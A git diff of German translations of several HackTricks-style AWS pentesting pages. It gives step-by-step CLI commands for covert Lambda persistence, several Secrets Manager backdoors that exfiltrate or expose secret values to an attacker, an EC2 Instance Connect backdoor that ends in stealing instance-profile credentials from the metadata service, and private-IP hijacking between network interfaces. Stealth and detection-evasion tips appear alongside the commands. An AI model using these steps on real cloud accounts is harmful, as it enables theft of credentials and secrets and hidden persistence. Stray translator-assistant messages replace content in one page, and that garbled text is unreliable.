Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

2025-12-28 13:43:24 -08:00 · 2025-10-23 13:05:54 +00:00
parent e8c97e9e4e
commit e57cb2f9b7
18 changed files with 484 additions and 422 deletions
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
@@ -1,25 +1,27 @@
 # AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

-Missbrauche Lambda asynchronous Destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich ohne externen Scheduler (kein EventBridge, cron, etc.) sich selbst erneut aufzurufen. Standardmäßig beendet Lambda rekursive Loops, aber das Setzen der Recursion-Konfiguration auf Allow aktiviert sie wieder. Destinations liefern serverseitig bei async invokes, sodass ein einzelner Seed-Invoke einen unauffälligen, codefreien Heartbeat/Backdoor-Kanal erzeugt. Optional mit reserved concurrency drosseln, um Lärm niedrig zu halten.
+{{#include ../../../../banners/hacktricks-training.md}}

-Notes
- Lambda erlaubt nicht, die Funktion direkt als eigene Destination zu konfigurieren. Verwende stattdessen einen function alias als Destination und erlaube der execution role, diesen Alias aufzurufen.
- Mindestberechtigungen: Fähigkeit, die event invoke config und recursion config der Ziel-Funktion zu lesen/aktualisieren, eine Version zu veröffentlichen und einen Alias zu verwalten sowie die Policy der execution role der Funktion zu aktualisieren, um lambda:InvokeFunction auf dem Alias zu erlauben.
+Missbrauche Lambda asynchronous destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich sich selbst neu aufzurufen, ganz ohne externen Scheduler (kein EventBridge, cron, etc.). Standardmäßig beendet Lambda rekursive Schleifen, aber das Setzen der recursion config auf Allow aktiviert sie wieder. Destinations liefern serverseitig bei asynchronen Invokes, sodass ein einzelner Seed-invoke einen unauffälligen, code-freien Heartbeat/Backdoor-Kanal erzeugt. Optional mit reserved concurrency drosseln, um das Noise-Level niedrig zu halten.

-## Anforderungen
+Hinweise
+- Lambda erlaubt nicht, die Funktion direkt als eigenes destination zu konfigurieren. Verwende einen function alias als destination und erlaube der execution role, diesen Alias zu invoke.
+- Mindestberechtigungen: Fähigkeit, die event invoke config und recursion config der Ziel-Funktion zu read/update, eine Version zu publishen und einen Alias zu manage, sowie die execution role policy der Funktion zu aktualisieren, um lambda:InvokeFunction auf dem Alias zu erlauben.
+
+## Requirements
 - Region: us-east-1
 - Vars:
 - REGION=us-east-1
 - TARGET_FN=<target-lambda-name>

-## Schritte
+## Steps

-1) Hole die ARN der Funktion und die aktuelle Recursion-Einstellung
+1) Funktion-ARN und aktuelle Recursion-Einstellung ermitteln
 ```
 FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
 aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
 ```
-2) Veröffentliche eine Version und erstelle/aktualisiere ein Alias (als Ziel für sich selbst verwendet)
+2) Eine Version veröffentlichen und ein alias erstellen/aktualisieren (als self destination verwendet)
 ```
 VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
 if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
 EOF
 aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
 ```
-4) Konfiguriere das async destination zum Alias (self via alias) und deaktiviere retries
+4) Konfiguriere die asynchrone Destination auf den Alias (selbst über Alias) und deaktiviere Wiederholungsversuche
 ```
 aws lambda put-function-event-invoke-config \
 --function-name "$TARGET_FN" \
@@ -58,12 +60,12 @@ aws lambda put-function-event-invoke-config \
 # Verify
 aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
 ```
-5) Erlaube rekursive Schleifen
+5) Rekursive Schleifen zulassen
 ```
 aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
 aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
 ```
-6) Einen einzelnen asynchronen Invoke auslösen
+6) Einen einzelnen asynchronen Aufruf auslösen
 ```
 aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
 ```
@@ -73,12 +75,12 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
 aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
 # or check CloudWatch Metrics for Invocations increasing
 ```
-8) Optionale unauffällige Drosselung
+8) Optionale verdeckte Drosselung
 ```
 aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
 ```
 ## Bereinigung
-Unterbreche die loop und entferne die persistence.
+Schleife unterbrechen und Persistenz entfernen.
 ```
 aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
 aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
 aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
 ```
 ## Auswirkungen
- Ein einzelner async invoke bewirkt, dass Lambda sich kontinuierlich erneut aufruft, ohne externen Scheduler, und ermöglicht verdeckte persistence/heartbeat. Reserved concurrency kann den Lärm auf eine einzige warm execution begrenzen.
+- Ein einzelner async invoke verursacht, dass Lambda sich kontinuierlich ohne externen Scheduler erneut aufruft und so heimliche persistence/heartbeat ermöglicht. Reserved concurrency kann den Lärm auf eine einzige warme Ausführung begrenzen.
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
@@ -1,4 +1,4 @@
-# AWS - Secrets Manager Persistenz
+# AWS - Secrets Manager Persistence

 {{#include ../../../../banners/hacktricks-training.md}}

@@ -10,13 +10,13 @@ Für weitere Informationen siehe:
 ../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}

-### Über Resource Policies
+### Via Resource Policies

-Es ist möglich, externen Accounts über Resource Policies **Zugriff auf secrets zu gewähren**. Siehe die [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) für mehr Informationen. Beachte, dass ein externes Konto, um **auf ein Secret zuzugreifen**, außerdem **Zugriff auf den KMS key benötigt, der das Secret verschlüsselt**.
+Es ist möglich, über Resource Policies **grant access to secrets to external accounts**. Siehe die [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) für weitere Informationen. Beachte, dass um **access a secret** zu erhalten, das externe Konto außerdem **need access to the KMS key encrypting the secret**.

-### Über Secrets Rotate Lambda
+### Via Secrets Rotate Lambda

-Um **Secrets automatisch zu rotieren** wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** ändern könnte, könnte er das neue **Secret** direkt an sich exfiltrieren.
+Um **rotate secrets** automatisch auszuführen, wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **change** am **code** durchführen könnte, könnte er das neue secret direkt an sich selbst **exfiltrate the new secret**.

 So könnte der Lambda-Code für eine solche Aktion aussehen:
 ```python
@@ -48,31 +48,25 @@ import string
 password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
 return password
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
+### Rotation-Lambda auf eine vom Angreifer kontrollierte Funktion via RotateSecret umstellen

+Missbrauche `secretsmanager:RotateSecret`, um ein Secret an eine vom Angreifer kontrollierte Rotation-Lambda zu binden und eine sofortige Rotation auszulösen. Die bösartige Funktion exfiltriert die Secret-Versionen (AWSCURRENT/AWSPENDING) während der Rotationsschritte (createSecret/setSecret/testSecret/finishSecret) zu einem Angreifer-Speicher (z. B. S3 oder externes HTTP).

+- Requirements
+- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` auf der Angreifer-Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (oder AttachRolePolicy) um die Lambda-Execution-Rolle mit `secretsmanager:GetSecretValue` und idealerweise `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (damit Rotation weiter funktioniert), KMS `kms:Decrypt` für den Secret-KMS-Key und `s3:PutObject` (oder ausgehender Egress) für die Exfiltration bereitzustellen.
+- A target secret id (`SecretId`) mit aktivierter Rotation oder die Fähigkeit, Rotation zu aktivieren.

+- Impact
+- Der Angreifer erhält den/die Secret-Wert(e), ohne den legitimen Rotationscode zu verändern. Es wird nur die Rotationskonfiguration geändert, sodass sie auf die Angreifer-Lambda zeigt. Wenn unbemerkt, werden geplante zukünftige Rotationen weiterhin die Funktion des Angreifers aufrufen.

-
-### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
-
-Missbrauche `secretsmanager:RotateSecret`, um ein Secret an eine vom Angreifer kontrollierte Rotation-Lambda zu binden und eine sofortige Rotation auszulösen. Die bösartige Funktion exfiltriert die Secret-Versionen (AWSCURRENT/AWSPENDING) während der Rotationsschritte (createSecret/setSecret/testSecret/finishSecret) zu einem Exfiltrationsziel (z. B. S3 oder externes HTTP).
-
- Anforderungen
- Berechtigungen: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` auf der Angreifer-Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (oder AttachRolePolicy) um die Lambda-Execution-Rolle mit `secretsmanager:GetSecretValue` und vorzugsweise `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (damit die Rotation weiter funktioniert) zu provisionieren, KMS `kms:Decrypt` für den Secret-KMS-Key, und `s3:PutObject` (oder ausgehender Datenverkehr) für die Exfiltration.
- Eine Ziel-Secret-ID (`SecretId`) mit aktivierter Rotation oder die Möglichkeit, Rotation zu aktivieren.
-
- Auswirkung
- Der Angreifer erhält die Secret-Werte ohne Änderung des legitimen Rotationscodes. Es wird nur die Rotationskonfiguration geändert, sodass sie auf die Angreifer-Lambda zeigt. Wenn dies nicht bemerkt wird, werden geplante zukünftige Rotationen weiterhin die Funktion des Angreifers aufrufen.
-
- Angriffsschritte (CLI)
-1) Vorbereiten von Exfiltrationsziel und Lambda-Rolle
- Erstelle ein S3-Bucket für die Exfiltration und eine von Lambda vertraute Ausführungsrolle mit Berechtigungen, das Secret zu lesen und in S3 zu schreiben (plus Logs/KMS nach Bedarf).
-2) Bereitstellen der Angreifer-Lambda, die bei jedem Rotationsschritt die Secret-Werte abruft und in S3 schreibt. Eine minimale Rotationslogik kann einfach AWSCURRENT nach AWSPENDING kopieren und in finishSecret wieder als aktuelle Version setzen, um den Dienst intakt zu halten.
-3) Rotation neu binden und auslösen
+- Attack steps (CLI)
+1) Prepare attacker sink and Lambda role
+- Erstelle einen S3-Bucket für die Exfiltration und eine Execution-Rolle, der Lambda vertraut, mit Berechtigungen, das Secret zu lesen und in S3 zu schreiben (plus Logs/KMS nach Bedarf).
+2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
+3) Rebind rotation and trigger
 - `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
-4) Überprüfe die Exfiltration, indem du das S3-Präfix für dieses Secret auflistest und die JSON-Artefakte untersuchst.
-5) (Optional) Stelle die ursprüngliche Rotation-Lambda wieder her, um die Entdeckung zu erschweren.
+4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
+5) (Optional) Restore the original rotation Lambda to reduce detection.

 - Example attacker Lambda (Python) exfiltrating to S3
 - Environment: `EXFIL_BUCKET=<bucket>`
@@ -102,23 +96,23 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
 # Minimal rotation (optional): copy current->pending and promote in finishSecret
 # (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
 ```
-### Version Stage Hijacking für verdeckte Persistenz (custom stage + fast AWSCURRENT flip)
+### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

-Missbrauche Secrets Manager Version-Staging-Labels, um eine vom Angreifer kontrollierte Secret-Version zu platzieren und unter einem benutzerdefinierten Stage (zum Beispiel `ATTACKER`) versteckt zu halten, während die Produktion weiterhin die ursprüngliche `AWSCURRENT` verwendet. Verschiebe zu jedem beliebigen Zeitpunkt `AWSCURRENT` auf die Version des Angreifers, um abhängige Workloads zu vergiften, und stelle sie dann wieder her, um die Entdeckung zu minimieren. Das bietet heimliche Backdoor-Persistenz und schnelle Manipulation zur Zeit der Nutzung, ohne den Secret-Namen oder die Rotationskonfiguration zu ändern.
+Missbrauche Secrets Manager version staging labels, um eine vom Angreifer kontrollierte Secret-Version zu platzieren und unter einer benutzerdefinierten Stage (z. B. `ATTACKER`) verborgen zu halten, während die Produktion weiterhin die ursprüngliche `AWSCURRENT` verwendet. Verschiebe jederzeit `AWSCURRENT` auf die Version des Angreifers, um abhängige Workloads zu vergiften, und stelle sie anschließend wieder her, um die Entdeckung zu minimieren. Dies ermöglicht stealthy backdoor persistence und schnelle Manipulation der time-of-use, ohne den Secret-Namen oder die Rotation-Konfiguration zu ändern.

 - Requirements
- Berechtigungen: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (zur Verifikation)
- Ziel-Secret-ID in der Region.
+- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
+- Target secret id in the Region.

 - Impact
- Behalte eine versteckte, vom Angreifer kontrollierte Version eines Secrets und wechsele atomar `AWSCURRENT` bei Bedarf darauf, um jeden Consumer zu beeinflussen, der denselben Secret-Namen auflöst. Der Wechsel und die schnelle Rücksetzung reduzieren die Chance einer Entdeckung und ermöglichen zugleich eine zeitpunktbezogene Kompromittierung.
+- Behalte eine versteckte, vom Angreifer kontrollierte Version eines Secrets und wechsele bei Bedarf atomar `AWSCURRENT` auf diese, um alle Konsumenten zu beeinflussen, die denselben Secret-Namen auflösen. Der Wechsel und das schnelle Zurücksetzen verringern die Chance einer Entdeckung, während sie eine zeitpunktbezogene Kompromittierung ermöglichen.

 - Attack steps (CLI)
- Vorbereitung
+- Preparation
 - `export SECRET_ID=<target secret id or arn>`

 <details>
-<summary>CLI-Befehle</summary>
+<summary>CLI commands</summary>
 ```bash
 # 1) Capture current production version id (the one holding AWSCURRENT)
 CUR=$(aws secretsmanager list-secret-version-ids \
@@ -168,20 +162,20 @@ aws secretsmanager update-secret-version-stage \
 </details>

 - Hinweise
- Wenn Sie `--client-request-token` angeben, verwendet Secrets Manager ihn als `VersionId`. Das Hinzufügen einer neuen Version ohne explizites Setzen von `--version-stages` verschiebt standardmäßig `AWSCURRENT` auf die neue Version und markiert die vorherige als `AWSPREVIOUS`.
+- Wenn Sie `--client-request-token` angeben, verwendet Secrets Manager es als die `VersionId`. Wenn Sie eine neue Version hinzufügen, ohne explizit `--version-stages` zu setzen, wird `AWSCURRENT` standardmäßig auf die neue Version verschoben und die vorherige als `AWSPREVIOUS` markiert.


 ### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

-Missbrauche die multi-Region-Replikation von Secrets Manager, um eine Replik eines Zielsecrets in eine weniger überwachte Region zu erstellen, diese mit einem vom Angreifer kontrollierten KMS-Key in dieser Region zu verschlüsseln, anschließend die Replik zu einem eigenständigen Secret zu promoten und eine permissive resource policy anzuhängen, die dem Angreifer Lesezugriff gewährt. Das ursprüngliche Secret in der primären Region bleibt unverändert, wodurch über die promotete Replik ein dauerhafter, unauffälliger Zugriff auf den Secret-Wert möglich ist, während KMS-/Policy-Beschränkungen der primären Region umgangen werden.
+Missbrauche die multi-Region-Replikation von Secrets Manager, um eine replica eines Ziel-Secret in eine weniger überwachte Region zu erstellen, diese mit einem vom attacker kontrollierten KMS-Schlüssel in dieser Region zu verschlüsseln, die replica dann zu einem eigenständigen Secret zu promote und eine permissive resource policy anzuhängen, die dem attacker Lesezugriff gewährt. Das ursprüngliche Secret in der primary Region bleibt unverändert, wodurch dauerhafter, unauffälliger Zugriff auf den Secret-Wert über die promoted replica möglich ist und KMS-/policy-Einschränkungen der primary Region umgangen werden.

- Anforderungen
+- Voraussetzungen
 - Berechtigungen: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- In der Replica-Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (oder `kms:PutKeyPolicy`) um dem Angreifer-Principal `kms:Decrypt` zu erlauben.
- Ein Angreifer-Principal (user/role), der Lesezugriff auf das promotete Secret erhält.
+- In der replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (oder `kms:PutKeyPolicy`), damit das attacker principal `kms:Decrypt` ausführen kann.
+- Ein attacker principal (user/role), der Lesezugriff auf das promoted Secret erhält.

- Auswirkungen
- Persistenter regionsübergreifender Zugriffspfad auf den Secret-Wert über eine eigenständige Replik, die unter einer vom Angreifer kontrollierten KMS CMK steht und eine permissive resource policy verwendet. Das primäre Secret in der ursprünglichen Region bleibt unberührt.
+- Auswirkung
+- Persistenter cross-Region-Zugriffspfad auf den Secret-Wert über eine eigenständige replica unter einer vom attacker kontrollierten KMS-CMK und einer permissive resource policy. Das primary Secret in der ursprünglichen Region bleibt unberührt.

 - Angriff (CLI)
 - Variablen
@@ -211,14 +205,14 @@ aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECR
 --add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
 aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
 ```
-3) Die Replik in R2 zu einer eigenständigen Instanz machen
+3) Die Replik in R2 zur Standalone-Instanz befördern
 ```bash
 # Use the secret name (same across Regions)
 NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
 aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
 aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
 ```
-4) Hänge eine permissive resource policy an das standalone secret in R2 an.
+4) Eine permissive Resource-Policy an das eigenständige Secret in R2 anhängen
 ```bash
 cat > /tmp/replica_policy.json <<JSON
 {"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
@@ -226,9 +220,9 @@ JSON
 aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
 aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
 ```
-5) Lese das secret vom attacker principal in R2
+5) Das Secret vom attacker principal in R2 lesen
 ```bash
 # Configure attacker credentials and read
 aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
@@ -2,21 +2,21 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-Missbrauche EC2 Instance Connect Endpoint (EIC Endpoint), um eingehenden SSH-Zugriff auf private EC2-Instanzen (no public IP/bastion) zu erlangen, indem:
- Erstellen eines EIC Endpoint inside the target subnet
- Eingehenden SSH-Zugriff auf die Ziel-SG von der EIC Endpoint-SG erlauben
- Einfügen eines kurzlebigen SSH-Public-Keys (gültig ~60 Sekunden) mit `ec2-instance-connect:SendSSHPublicKey`
- Öffnen eines EIC-Tunnels und Pivoting zur Instanz, um instance profile credentials aus IMDS zu stehlen
+Missbrauche EC2 Instance Connect Endpoint (EIC Endpoint), um eingehenden SSH-Zugriff auf private EC2-Instanzen (ohne public IP/bastion) zu erlangen, indem du:
+- Erstellen eines EIC Endpoint innerhalb des Ziel-Subnetz
+- Eingehenden SSH auf der Ziel-SG vom EIC Endpoint SG erlauben
+- Injizieren eines kurzlebigen SSH Public Keys (gültig ~60 Sekunden) mit `ec2-instance-connect:SendSSHPublicKey`
+- Öffnen eines EIC-Tunnels und pivoting zur Instanz, um instance profile credentials aus IMDS zu stehlen

-Impact: stealthy remote access path into private EC2 instances that bypasses bastions and public IP restrictions. Der Angreifer kann das instance profile übernehmen und im Account agieren.
+Impact: heimlicher Remote-Zugangspfad zu privaten EC2-Instanzen, der bastions und public IP-Einschränkungen umgeht. Der Angreifer kann das instance profile übernehmen und im Account agieren.

-## Requirements
+## Voraussetzungen
 - Berechtigungen für:
 - `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
 - `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
- Ziel-Linux-Instanz mit SSH-Server und EC2 Instance Connect aktiviert (Amazon Linux 2 oder Ubuntu 20.04+). Default users: `ec2-user` (AL2) oder `ubuntu` (Ubuntu).
+- Ziel-Linux-Instanz mit SSH-Server und EC2 Instance Connect aktiviert (Amazon Linux 2 oder Ubuntu 20.04+). Standardbenutzer: `ec2-user` (AL2) oder `ubuntu` (Ubuntu).

-## Variables
+## Variablen
 ```bash
 export REGION=us-east-1
 export INSTANCE_ID=<i-xxxxxxxxxxxx>
@@ -45,13 +45,13 @@ grep -q 'create-complete' EIC_STATE && break
 sleep 5
 done
 ```
-## Verkehr vom EIC Endpoint zur Zielinstanz zulassen
+## Erlaube traffic vom EIC Endpoint an die target instance
 ```bash
 aws ec2 authorize-security-group-ingress \
 --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
 --source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
 ```
-## Ephemeren SSH key injizieren und tunnel öffnen
+## Ephemeren SSH-Schlüssel injizieren und Tunnel öffnen
 ```bash
 # Generate throwaway key
 ssh-keygen -t ed25519 -f /tmp/eic -N ''
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
 # SSH via the tunnel (within the 60s window)
 ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
 ```
-## Post-Exploitation-Nachweis (steal instance profile credentials)
+## Post-exploitation Nachweis (steal instance profile credentials)
 ```bash
 # From the shell inside the instance
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
 ```
-Ich habe die Datei/den Inhalt nicht erhalten. Bitte füge hier den Markdown-Inhalt aus src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md ein, damit ich den relevanten englischen Text ins Deutsche übersetzen kann.
+Please paste the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md that you want translated. I will translate the English text to German and preserve all code, tags, links, paths and hacking/Cloud terms exactly as instructed.
 ```json
 {
 "Code": "Success",
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
 --instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
 ```
 > Hinweise
-> - Der injizierte SSH-Schlüssel ist nur für ~60 Sekunden gültig; sende den Schlüssel direkt bevor du den Tunnel/SSH öffnest.
+> - Der injizierte SSH-Schlüssel ist nur etwa 60 Sekunden gültig; sende den Schlüssel unmittelbar bevor du den Tunnel/SSH öffnest.
 > - `OS_USER` muss zur AMI passen (z. B. `ubuntu` für Ubuntu, `ec2-user` für Amazon Linux 2).
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
@@ -2,49 +2,50 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-Missbrauche `ec2:UnassignPrivateIpAddresses` und `ec2:AssignPrivateIpAddresses`, um die sekundäre private IP einer victim ENI zu stehlen und sie auf eine attacker ENI im selben subnet/AZ zu verschieben. Viele interne Dienste und security groups steuern den Zugriff anhand spezifischer privater IPs. Durch das Verschieben dieser sekundären Adresse gibt sich der attacker auf L3 als der vertrauenswürdige Host aus und kann allowlisted services erreichen.
+Missbrauche `ec2:UnassignPrivateIpAddresses` und `ec2:AssignPrivateIpAddresses`, um die sekundäre private IP einer Opfer-ENI zu stehlen und sie auf eine Angreifer-ENI im selben Subnetz/AZ zu verschieben. Viele interne Dienste und Security Groups kontrollieren den Zugriff anhand spezifischer privater IPs. Durch das Verschieben dieser sekundären Adresse gibt sich der Angreifer auf L3 als der vertrauenswürdige Host aus und kann auf allowlisted services zugreifen.

 Prereqs:
- Berechtigungen: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` auf dem victim ENI ARN, und `ec2:AssignPrivateIpAddresses` auf dem attacker ENI ARN.
- Beide ENIs müssen im selben subnet/AZ sein. Die Zieladresse muss eine sekundäre IP sein (die primäre kann nicht unassigned werden).
+- Berechtigungen: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` auf der ARN der Opfer-ENI, und `ec2:AssignPrivateIpAddresses` auf der ARN der Angreifer-ENI.
+- Beide ENIs müssen im selben Subnetz/AZ sein. Die Zieladresse muss eine sekundäre IP sein (die primäre IP kann nicht entfernt werden).

-Variablen:
+Variables:
 - REGION=us-east-1
 - VICTIM_ENI=<eni-xxxxxxxx>
 - ATTACKER_ENI=<eni-yyyyyyyy>
 - PROTECTED_SG=<sg-protected>   # SG auf einem Zielservice, der nur $HIJACK_IP erlaubt
 - PROTECTED_HOST=<private-dns-or-ip-of-protected-service>

-Schritte:
-1) Wähle eine sekundäre IP aus der victim ENI
+Steps:
+1) Wähle eine sekundäre IP aus der Opfer-ENI
 ```bash
 aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
 export HIJACK_IP=$(cat HIJACK_IP)
 ```
-2) Stelle sicher, dass der geschützte Host nur diese IP zulässt (idempotent). Wenn stattdessen SG-to-SG rules verwendet werden, überspringen.
+2) Stellen Sie sicher, dass der geschützte Host nur diese IP erlaubt (idempotent). Wenn stattdessen SG-to-SG rules verwendet werden, überspringen.
 ```bash
 aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
 ```
-3) Ausgangszustand: Von der Angreifer-Instanz sollte eine Anfrage an PROTECTED_HOST ohne gefälschte Quelladresse fehlschlagen (z. B. über SSM/SSH)
+3) Ausgangszustand: von attacker instance sollte eine Anfrage an PROTECTED_HOST ohne spoofed source fehlschlagen (z. B. über SSM/SSH)
 ```bash
 curl -sS --max-time 3 http://$PROTECTED_HOST || true
 ```
-4) Die sekundäre IP von der betroffenen ENI entfernen
+4) Entfernen Sie die sekundäre IP vom Opfer-ENI
 ```bash
 aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
 ```
-5) Weisen Sie der Angreifer-ENI dieselbe IP zu (bei AWS CLI v1 `--allow-reassignment` hinzufügen)
+5) Weise dieselbe IP der Angreifer-ENI zu (bei AWS CLI v1 füge `--allow-reassignment` hinzu)
 ```bash
 aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
 ```
-6) Überprüfen, ob die Eigentümerschaft verschoben wurde
+6) Überprüfen, ob der Besitz übertragen wurde
 ```bash
 aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
 ```
-7) Von der Angreifer-Instanz, source-bind auf die hijacked IP, um den geschützten Host zu erreichen (Stelle sicher, dass die IP im OS konfiguriert ist; falls nicht, füge sie mit `ip addr add $HIJACK_IP/<mask> dev eth0` hinzu)
+7) Von der attacker instance aus source-bind an die hijacked IP, um den protected host zu erreichen (stelle sicher, dass die IP im OS konfiguriert ist; falls nicht, füge sie mit `ip addr add $HIJACK_IP/<mask> dev eth0` hinzu)
 ```bash
 curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
 ```
 ## Auswirkungen
